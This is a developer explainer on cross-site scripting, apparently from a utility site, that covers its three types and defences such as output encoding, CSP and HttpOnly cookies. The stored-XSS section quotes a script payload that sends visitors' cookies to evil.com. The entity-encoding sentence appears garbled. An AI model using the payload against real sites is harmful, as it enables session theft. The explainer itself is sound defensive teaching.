Cross-Site Scripting (XSS): How It Works and How to Prevent It

Cross-Site Scripting (XSS) is one of the most prevalent vulnerabilities in web applications. An XSS attack allows malicious scripts to be injected into web pages viewed by other users. These scripts can steal session cookies, capture keystrokes, redirect users, or deface pages. Understanding XSS is essential for any developer building user-facing web applications.

Types of XSS Attacks

Stored (Persistent) XSS

The most dangerous type. Malicious script is stored in the database (in a comment, profile field, or message) and rendered for every user who views the page. An attacker posts a comment containing <script>document.location='https://evil.com?c='+document.cookie</script> and it executes in every visitor’s browser.

Reflected XSS

The malicious script is embedded in a URL and only executes when the victim clicks the crafted link. Common in search results pages that reflect the query back to the user. The attacker tricks the victim into clicking a link containing the script in a query parameter.

DOM-Based XSS

The attack payload never reaches the server. Instead, client-side JavaScript reads data from a controllable source (like location.hash) and writes it to the DOM via a dangerous sink like innerHTML. The vulnerability lives entirely in the frontend code.

Prevention: Output Encoding

The primary defense is encoding user-supplied data before rendering it in HTML. HTML entity encoding converts < to <, > to >, making it safe to display in HTML. Use your framework’s built-in templating (React’s JSX, Angular’s templates) — they auto-escape by default. Avoid setting innerHTML with user data; use textContent instead.

Content Security Policy (CSP)

CSP is an HTTP header that tells the browser which scripts are allowed to execute. A strict CSP (script-src 'self') blocks inline scripts and external script sources, severely limiting what an attacker can do even if injection occurs. CSP is a powerful second line of defense.

HttpOnly and Secure Cookie Flags

Mark session cookies with HttpOnly to prevent JavaScript from accessing them — the classic XSS cookie theft is mitigated even if injection succeeds. Use Secure to ensure cookies are only sent over HTTPS.

Encode your output safely. Use the HTML Encoder on devutilitypro.com to properly encode HTML entities and test that your output encoding is working correctly.